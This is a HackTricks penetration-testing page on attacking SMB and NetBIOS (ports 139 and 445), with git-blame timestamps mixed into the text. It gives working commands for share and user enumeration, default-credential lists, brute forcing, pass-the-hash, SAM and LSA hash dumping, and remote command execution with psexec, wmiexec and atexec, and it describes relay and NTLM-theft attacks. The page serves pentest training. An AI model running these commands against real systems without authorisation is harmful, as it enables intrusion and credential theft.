2022-05-01 13:25:53 +00:00
# 139,445 - Pentesting SMB
2022-04-28 16:01:33 +00:00
< details >
2024-01-02 18:28:27 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-02 18:28:27 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-10-02 19:15:35 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-02 18:28:27 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 15:34:31 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-01-02 18:28:27 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2022-05-01 13:25:53 +00:00
## **Port 139**
2020-07-15 15:43:14 +00:00
2024-02-23 15:34:31 +00:00
The _**Network Basic Input Output System**_ ** (NetBIOS)** is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network** . The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139** .
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2022-05-01 13:25:53 +00:00
## Port 445
2020-07-15 15:43:14 +00:00
2024-02-05 02:28:59 +00:00
Technically, Port 139 is referred to as ‘ NBT over IP’ , whereas Port 445 is identified as ‘ SMB over IP’ . The acronym **SMB** stands for ‘ **Server Message Blocks**’ , which is also modernly known as the **Common Internet File System (CIFS)** . As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
2020-07-15 15:43:14 +00:00
2024-02-05 02:28:59 +00:00
For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2024-02-05 02:28:59 +00:00
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files** , directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
2022-10-02 19:15:35 +00:00
2024-02-05 02:28:59 +00:00
Shares, representing **arbitrary parts of the local file system** , can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)** , which define **access rights** , allow for **fine-grained control** over user permissions, including attributes like ** `execute` **, ** `read` **, and ** `full access` **. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
2022-10-02 19:15:35 +00:00
2024-02-05 02:28:59 +00:00
### IPC$ Share
2020-07-15 15:43:14 +00:00
2024-02-05 02:28:59 +00:00
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
2020-07-15 15:43:14 +00:00
2024-02-23 15:34:31 +00:00
* Information on the operating system
* Details on the parent domain
* A compilation of local users and groups
* Information on available SMB shares
* The effective system security policy
2024-02-05 02:28:59 +00:00
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
```bash
enum4linux -a target_ip
```
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip` .
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## What is NTLM
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about **NTLM** where is explained **how this protocol works and how you can take advantage of it:**
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm ](../windows-hardening/ntlm/ )
{% endcontent-ref %}
## **Server Enumeration**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **Scan** a network searching for hosts:
2020-07-15 15:43:14 +00:00
```bash
nbtscan -r 192.168.0.1/24
```
2022-05-01 13:25:53 +00:00
### SMB server version
2020-07-15 15:43:14 +00:00
2020-08-30 18:59:50 +00:00
To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:
2022-03-27 21:55:26 +00:00
* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version**
2022-10-04 21:36:29 +00:00
* Or this script:
2020-07-15 15:43:14 +00:00
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" & & exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" & & sleep .1
```
2022-05-01 13:25:53 +00:00
### **Search exploit**
2020-07-15 15:43:14 +00:00
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2022-05-01 13:25:53 +00:00
### **Possible** Credentials
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_ , password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
2020-07-15 15:43:14 +00:00
2023-12-26 20:51:20 +00:00
### Brute Force
* [**SMB Brute Force** ](../generic-methodologies-and-resources/brute-force.md#smb )
2022-10-04 23:49:59 +00:00
### SMB Environment Information
### Obtain Information
2020-07-15 15:43:14 +00:00
```bash
#Dump interesting information
enum4linux -a [-u "< username > " -p "< passwd > "] < IP >
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "< username > " -p "< passwd > "] < IP >
2020-07-15 15:43:14 +00:00
nmap --script "safe or smb-enum-*" -p 445 < IP >
#Connect to the rpc
rpcclient -U "" -N < IP > #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" < IP > #With creds
2020-07-15 15:43:14 +00:00
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]< targetName or address >
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]< targetName or address >
```
2022-10-04 23:49:59 +00:00
### Enumerate Users, Groups & Logged On Users
2020-07-15 15:43:14 +00:00
2023-11-27 16:58:23 +00:00
This info should already being gathered from enum4linux and enum4linux-ng
2023-08-08 09:05:26 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups [-u < username > -p < password > ]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u < username > -p < password > ]
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(& (objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2020-07-15 15:43:14 +00:00
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-08 09:05:26 +00:00
```
2022-10-04 23:49:59 +00:00
2023-08-08 09:05:26 +00:00
### Enumerate local users
2023-11-27 16:58:23 +00:00
2023-08-08 09:05:26 +00:00
[Impacket ](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py )
2023-11-27 16:58:23 +00:00
2023-08-08 09:05:26 +00:00
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-08 09:05:26 +00:00
```
2023-11-27 16:58:23 +00:00
2023-08-08 09:05:26 +00:00
Oneliner
2023-11-27 16:58:23 +00:00
2023-08-08 09:05:26 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerate local users
2023-12-26 20:51:20 +00:00
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
2022-10-04 21:36:29 +00:00
```
2022-10-02 19:15:35 +00:00
2022-10-04 21:36:29 +00:00
### **Enumerating LSARPC and SAMR rpcclient**
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md ](pentesting-smb/rpcclient-enumeration.md )
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### GUI connection from linux
2021-02-02 09:11:43 +00:00
2022-05-01 13:25:53 +00:00
#### In the terminal:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2022-05-01 13:25:53 +00:00
#### In file browser window (nautilus, thunar, etc)
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2022-10-04 23:49:59 +00:00
## Shared Folders Enumeration
2022-05-01 13:25:53 +00:00
### List shared folders
2020-07-15 15:43:14 +00:00
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user** .
```bash
smbclient --no-pass -L //< IP > # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2022-10-04 23:49:59 +00:00
2020-07-15 15:43:14 +00:00
smbmap -H < IP > [-P < PORT > ] #Null user
smbmap -u "username" -p "password" -H < IP > [-P < PORT > ] #Creds
smbmap -u "username" -p "< NT > :< LM > " -H < IP > [-P < PORT > ] #Pass -the-Hash
2022-10-04 23:49:59 +00:00
smbmap -R -u "username" -p "password" -H < IP > [-P < PORT > ] #Recursive list
2020-07-15 15:43:14 +00:00
crackmapexec smb < IP > -u '' -p '' --shares #Null user
crackmapexec smb < IP > -u 'username' -p 'password' --shares #Guest user
2020-09-20 21:41:33 +00:00
crackmapexec smb < IP > -u 'username' -H '< HASH > ' --shares #Guest user
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### **Connect/List a shared folder**
2020-07-15 15:43:14 +00:00
```bash
#Connect using smbclient
smbclient --no-pass //< IP > /< Folder >
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //< IP > #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H < IP > [-P < PORT > ] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H < IP > [-P < PORT > ] # Non-Recursive list
smbmap -u "username" -p "< NT > :< LM > " [-r/-R] [Folder] -H < IP > [-P < PORT > ] #Pass -the-Hash
```
2022-05-01 13:25:53 +00:00
### **Manually enumerate windows shares and connect to them**
2020-08-28 15:29:16 +00:00
2022-03-27 21:55:26 +00:00
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
2020-08-28 15:29:16 +00:00
Common share names for windows targets are
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2021-10-18 11:21:18 +00:00
(Common share names from _**Network Security Assessment 3rd edition**_ )
2020-08-28 15:31:22 +00:00
2020-08-28 15:29:16 +00:00
You can try to connect to them by using the following command
```bash
smbclient -U '%' -N \\\\< IP > \\< SHARE > # null session to connect to a windows share
smbclient -U '< USER > ' \\\\< IP > \\< SHARE > # authenticated session to connect to a windows share (you will be prompted for a password)
```
2020-08-30 18:59:50 +00:00
2021-10-18 11:21:18 +00:00
or this script (using a null session)
2020-08-28 15:29:16 +00:00
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='< TARGET-IP-HERE > '
2020-08-28 15:29:16 +00:00
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
2020-08-28 15:31:22 +00:00
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2020-08-28 15:29:16 +00:00
2020-08-28 15:31:22 +00:00
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
2020-08-28 15:29:16 +00:00
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
examples
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
2020-08-30 18:59:50 +00:00
2023-11-27 17:01:07 +00:00
### **Enumerate shares from Windows / without third-party tools**
2023-11-27 16:58:23 +00:00
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "< computer name or session object > "
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD console
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\< ip > /all
```
MMC Snap-in (graphical)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (graphical), enter `\\<ip>\` to see the available non-hidden shares.
2022-05-01 13:25:53 +00:00
### Mount a shared folder
2020-07-15 15:43:14 +00:00
```bash
2020-11-28 15:52:16 +00:00
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
### **Download files**
2020-07-15 15:43:14 +00:00
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H < IP > -A < FileName > -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //< IP > /< share >
2020-09-03 15:27:18 +00:00
> mask ""
2020-09-04 19:43:20 +00:00
> recurse
> prompt
2020-07-15 15:43:14 +00:00
> mget *
#Download everything to current directory
```
2020-09-07 11:12:11 +00:00
2020-09-04 19:43:20 +00:00
Commands:
2020-09-07 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
2020-09-04 19:43:20 +00:00
* mget: copies all files matching the mask from host to client machine
2020-09-04 19:46:12 +00:00
2021-10-18 11:21:18 +00:00
(_Information from the manpage of smbclient_)
2020-07-15 15:43:14 +00:00
2022-10-04 23:49:59 +00:00
### Domain Shared Folders Search
2020-12-22 15:40:31 +00:00
2023-12-26 20:51:20 +00:00
* [**Snaffler** ](https://github.com/SnaffCon/Snaffler )\*\*\*\*
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec** ](https://wiki.porchetta.industries/smb-protocol/spidering-shares ) spider.
2022-10-04 23:49:59 +00:00
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2022-10-04 23:49:59 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2020-12-22 15:40:31 +00:00
```
2022-10-05 23:14:39 +00:00
Specially interesting from shares are the files called ** `Registry.xml` ** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or ** `web.config` ** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts** .\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords** .
{% endhint %}
2022-10-04 23:49:59 +00:00
## Read Registry
2021-05-10 16:48:27 +00:00
2022-10-04 23:49:59 +00:00
You may be able to **read the registry** using some discovered credentials. Impacket ** `reg.py` ** allows you to try:
2021-05-10 16:48:27 +00:00
2022-10-04 23:49:59 +00:00
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2022-10-04 23:49:59 +00:00
## Post Exploitation
2022-10-02 19:15:35 +00:00
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs** :
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected** .
2022-05-01 13:25:53 +00:00
## Authenticate using Kerberos
2020-07-15 15:43:14 +00:00
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient** :
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
2022-10-04 23:49:59 +00:00
## **Execute Commands**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2020-07-15 15:43:14 +00:00
2020-09-20 21:41:33 +00:00
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method` :
2020-07-15 15:43:14 +00:00
```bash
apt-get install crackmapexec
2020-09-20 21:41:33 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H < NTHASH > -x whoami #Pass -the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --rid-brute #RID brute
2023-01-04 19:28:50 +00:00
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -H < HASH > #Pass -The-Hash
2020-07-15 15:43:14 +00:00
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
2022-10-04 23:18:19 +00:00
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md )and [**smbexec** ](../windows-hardening/ntlm/smbexec.md ).\
2020-07-15 15:43:14 +00:00
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]< targetName or address >
./psexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Using **parameter** `-k` you can authenticate against **kerberos** instead of **NTLM**
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.** \
2020-07-15 15:43:14 +00:00
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]< targetName or address > #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Using **parameter** `-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]< targetName or address >
./dcomexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
2020-07-15 15:43:14 +00:00
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]< targetName or address > "command"
./atexec.py -hashes < LM:NT > administrator@10.10.10.175 "whoami"
```
2022-05-01 13:25:53 +00:00
## Impacket reference
2020-07-15 15:43:14 +00:00
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ ](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ )
2022-05-01 13:25:53 +00:00
## **Bruteforce users credentials**
2020-07-15 15:43:14 +00:00
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
nmap --script smb-brute -p 445 < IP >
2022-07-13 11:11:15 +00:00
ridenum.py < IP > 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
2020-07-15 15:43:14 +00:00
```
2022-05-01 13:25:53 +00:00
## SMB relay attack
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine** . If the authentication **session is successful** , it will automatically drop you into a **system** **shell** .\
2022-10-04 23:18:19 +00:00
[**More information about this attack here.** ](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## SMB-Trap
2020-07-15 15:43:14 +00:00
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
2022-07-13 11:11:15 +00:00
This happens with the functions:
2020-07-15 15:43:14 +00:00
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2021-10-18 11:21:18 +00:00
Which are used by some browsers and tools (like Skype)
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (93 ).png>)
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### SMBTrap using MitMf
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (94 ).png>)
2020-07-15 15:43:14 +00:00
2022-09-15 17:28:33 +00:00
## NTLM Theft
2022-10-04 23:18:19 +00:00
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack ](pentesting-smb.md#smb-relay-attack ).
2022-09-15 17:28:33 +00:00
2022-10-04 23:18:19 +00:00
[See: ntlm\_theft ](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft )
2022-09-15 17:28:33 +00:00
2022-05-01 13:25:53 +00:00
## HackTricks Automatic Commands
2021-08-12 13:30:40 +00:00
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:30:40 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-15 18:12:30 +00:00
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘ NBT over IP’ , Port 445 is ‘ SMB over IP’ . SMB stands for ‘ Server Message Blocks’ . Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
2022-07-01 12:57:23 +00:00
smbmap -H {IP} -u guest
2021-08-15 18:12:30 +00:00
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
2022-07-01 12:57:23 +00:00
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
2021-08-15 18:12:30 +00:00
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
2022-03-31 18:27:54 +00:00
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
2021-08-15 18:12:30 +00:00
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
